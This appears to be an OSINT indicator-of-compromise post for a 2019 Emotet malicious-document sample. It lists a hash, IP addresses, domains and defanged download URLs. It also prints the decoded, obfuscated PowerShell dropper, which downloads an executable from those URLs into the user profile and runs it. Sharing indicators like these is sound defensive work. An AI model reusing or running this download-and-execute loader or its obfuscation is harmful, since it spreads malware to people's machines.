Emotet_Doc_out_2019-10-18_02_33.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
7d156c5d6b02121bea61cc2c25b6cb9d


IPs:
104.18.34.212
154.223.149.150
173.249.24.142
181.65.214.222
185.42.104.204


Domains:
electroenchufe.com
teccenter.xyz
thongtindonganh.vn
www.foxrpas.com
www.syds588.cn


URLs:
hxxp://electroenchufe.com/wp-content/13c3yqv_eo4zsu9-416/
hxxp://www.foxrpas.com/wp-admin/vhvkpXHSH/
hxxp://www.syds588.cn/cgi-bin/FuevrLxGga/
hxxps://thongtindonganh.vn/wp-content/l5wmd_j25t5jm5-9/
hxxps://teccenter.xyz/cgi-bin/iSqyoMMzct/


Decoded Base64 Powershell:
$sSMw7C6p='dwSLAuiw';
$Y_w_sJ_ = '972';
$ow7isn='PowRBm';
$ZUEQFwUV=$env:userprofile+'\'+$Y_w_sJ_+'.exe';
$cJNLHd='jKwvQJYB';
$cEptN3=&('new'+'-obje'+'ct') neT.webcLieNT;
$c9GIK7='hxxp://electroenchufe.com/wp-content/13c3yqv_eo4zsu9-416/
hxxp://www.foxrpas.com/wp-admin/vhvkpXHSH/
hxxp://www.syds588.cn/cgi-bin/FuevrLxGga/
hxxps://thongtindonganh.vn/wp-content/l5wmd_j25t5jm5-9/
hxxps://teccenter.xyz/cgi-bin/iSqyoMMzct/'."S`pLit"('
');
$EfQSNaj='MwiRklc';
foreach($IP_zvzz in $c9GIK7){try{$cEptN3."DOwnL`OA`dfILE"($IP_zvzz, $ZUEQFwUV);
$nRFTVQw='hAIQvOcj';
If ((.('Get-'+'I'+'tem') $ZUEQFwUV)."le`NGth" -ge 38469) {[Diagnostics.Process]::"s`Tart"($ZUEQFwUV);
$wwpt5N='uOKwJw';
break;
$YzK_fql4='zDPzDqb'}}catch{}}$wnWZHZlo='K0iid0u'